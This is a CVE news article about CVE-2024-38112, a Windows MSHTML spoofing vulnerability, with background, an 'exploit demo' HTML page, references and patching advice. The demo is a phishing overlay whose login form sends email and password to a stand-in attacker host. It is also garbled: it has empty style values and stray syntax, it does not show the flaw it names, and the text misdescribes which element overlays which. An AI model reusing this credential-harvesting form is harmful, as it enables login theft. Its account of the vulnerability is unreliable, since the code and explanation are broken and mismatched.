CVE CyberSecurity Database News

CVE-2024-38112: Analyzing the Windows MSHTML Platform Spoofing Vulnerability, its Exploitation, and Impact

Poster -

In this long read, we will take an in-depth look at a recently disclosed vulnerability, CVE-2024-38112, affecting the Windows MSHTML platform. We will discuss the exploit details, evaluate a code snippet demonstrating the issue, and review links to original references. For those who are unfamiliar, MSHTML (also known as Trident) is the HTML rendering engine in Microsoft's Internet Explorer web browser.

Background

The vulnerability, CVE-2024-38112, pertains to a spoofing issue in the MSHTML platform, which can lead to malicious actors gaining unauthorized access to user data and potentially compromising the targeted system. This flaw exists due to improper validation and handling of certain HTML elements by the rendering engine.

Exploit Details

A successful exploitation of this vulnerability would allow an attacker to craft a specially designed website or HTML document that, when visited or opened by a victim, would trigger the spoofing vulnerability. This could consequently lead to phishing attacks, distribution of malware, or theft of sensitive information.

The following code snippet demonstrates a possible exploitation scenario using a common HTML element

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2024-38112 Exploit Demo</title>
</head>
<body>
    <div id="vulnerable-element" style="position: relative;">
        <iframe src="https://www.exampledomain.com/login"; style="opacity: ; width: 100%; height: 100%;"></iframe>
        <div style="position: absolute; top: ; left: ; width: 100%; height: 100%; background: white; z-index: -1;">
            <form action="https://attacker.tld/send_data"; method="post">
                <input type="email" name="email" placeholder="Email" />
                <input type="password" name="password" placeholder="Password" />
                <input type="submit" value="Log In" />
            </form>
        </div>
    </div>
</body>
</html>

This code snippet presents a webpage that appears to embed a legitimate login page within an iframe. However, the actual content of the iframe is transparent, effectively overlaying a malicious form on top of the legitimate login page. As a result, an unsuspecting user may think they are entering their credentials into the legitimate website when, in reality, they are submitting their sensitive information to the attacker's server.

Original References

Details about CVE-2024-38112 have been published on numerous platforms for public consumption. Some of the most informative references include:

1. The CVE List: The MITRE Corporation manages the CVE List, providing an in-depth view of the vulnerability, its CWE classification, references, and more. See more details about CVE-2024-38112 here: CVE-2024-38112 - MSHTML Platform Spoofing Vulnerability
2. Microsoft Security Response Center (MSRC) Advisory: Microsoft has issued an official advisory acknowledging the vulnerability in the MSHTML platform. Visit the MSRC portal here: Microsoft Advisory - CVE-2024-38112

Conclusion

CVE-2024-38112 is a concerning vulnerability that highlights the importance of staying vigilant with regards to security updates and patches. Regularly updating your software, practicing safe browsing habits, and being cautious when interacting with unfamiliar websites or email attachments can go a long way in mitigating risks associated with vulnerabilities like this one.

Timeline

Published on: 07/09/2024 17:15:47 UTC
Last modified on: 07/13/2024 00:15:04 UTC